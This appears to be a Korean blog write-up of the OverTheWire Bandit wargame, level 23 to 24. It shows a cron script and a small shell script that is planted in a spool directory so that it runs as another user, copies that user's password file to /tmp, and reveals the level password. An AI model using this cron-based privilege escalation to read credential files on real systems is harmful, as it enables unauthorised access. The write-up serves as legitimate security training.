A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!
NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…
hint : chmod, cron, crontab, crontab(5) (use “man 5 crontab” to access this)
자 이번에도 cron이 어떤 스케줄을 진행중인지 확인해봅시다
bandit23@bandit:~$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ ls
behemoth4_cleanup clean_tmp cronjob_bandit22 cronjob_bandit23
cronjob_bandit24 e2scrub_all leviathan5_cleanup manpage3_resetpw_job otw-tmp-dir sysstat
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)--내가 누군지
cd /var/spool/$myname/foo--이 경로로 이동할거에요
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"--이 경로에 있는 모든 스크립트를 실행한 후 삭제한다는걸 알려주는 문구를 출력해요
for i in * .*;--모든 파일/ 현재 경로에 모든 파일
do
if [ "$i" != "." -a "$i" != ".." ];--현재 경로에 파일 이름이 .이 아니고 ..이 아닐 때
then
echo "Handling $i"--이렇게 출력할거에요
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then--이 스크립트를 실행시킨 사용자가 bandit23이라면
timeout -s 9 60 ./$i--1분뒤 사라질게요~
fi
rm -f ./$i
fi
done
어떤 스크립트가 실행되고 있는지 확인했구요 /var/spool/$myname/foo경로에 있는 모든 스크립트를 실행한다고 했으니까 저 경로에 우리가 필요한 bandit24 password를 구할 쉘 스크립트를 짜서 넣어봅시다
우선 저는 /tmp 하위에 디렉토리를 하나 만들었습니다
bandit23@bandit:/tmp$ mkdir miso
bandit23@bandit:/tmp$ ls
miso
bandit23@bandit:/tmp$ cd miso
bandit23@bandit:/tmp/miso$ vi bandit24.sh
bandit24.sh 파일에는 아래와 같이 내용을 입력해줬습니다 권한은 매우 중요하니 꼭 잊지마세요
왜냐하면 지금 현재 저는 bandit23 사용자인데 가져올 password는 bandit24 사용자용 password이기 때문에 권한을 다 풀어놔야지 password를 가져왔을 때 문제없이 가져온 password 파일을 확인할 수 있슴둥
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/miso/password
chmod 777 /tmp/miso
그리고 방금 만든 bandit24.sh 파일 권한도 777로 줬어요
bandit23@bandit:/tmp/miso$ chmod 777 bandit24.sh
bandit23@bandit:/tmp/miso$ ls -al
total 444
drwxrwxrwx 2 bandit23 bandit23 4096 Nov 28 08:56 .
drwxrwx-wt 2036 root root 438272 Nov 28 08:57 ..
-rwxrwxrwx 1 bandit23 bandit23 84 Nov 28 08:56 bandit24.sh
-rwxr-x--- 1 bandit23 bandit23 384 Nov 28 08:26 test
그리고 이 bandit24.sh 파일을 cron이 실행되는 /var/spool/bandit24/foo 하위에 보내버리면
매 분마다 실행되는 cron명령어가 bandit24.sh 파일을 읽고 /etc/bandit_pass/bandit24에 있는 비밀번호를
/tmp/miso/password 파일에 내용을 삽입해주겠죠?
bandit23@bandit:/tmp/miso$ cp bandit24.sh /var/spool/bandit24/foo
.....1 minute later
bandit23@bandit:/tmp/miso$ ls
bandit24.sh password test
없던 password 파일이 생성된걸 확인했습니다 읽어볼까용
bandit23@bandit:/tmp/miso$ cat password
gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8
아 ...오늘 쬐꼼 어지러웠습니다

'bandit' 카테고리의 다른 글
| [OverTheWire] bandit 25 -> 27 (0) | 2025.12.04 |
|---|---|
| [OverTheWire] bandit 24 -> 25 (0) | 2025.11.30 |
| [OverTheWire] bandit 22 -> 23 (0) | 2025.11.27 |
| [OverTheWire] bandit 21 -> 22 (0) | 2025.11.26 |
| [OverTheWire] bandit 17 -> 19 (0) | 2025.11.23 |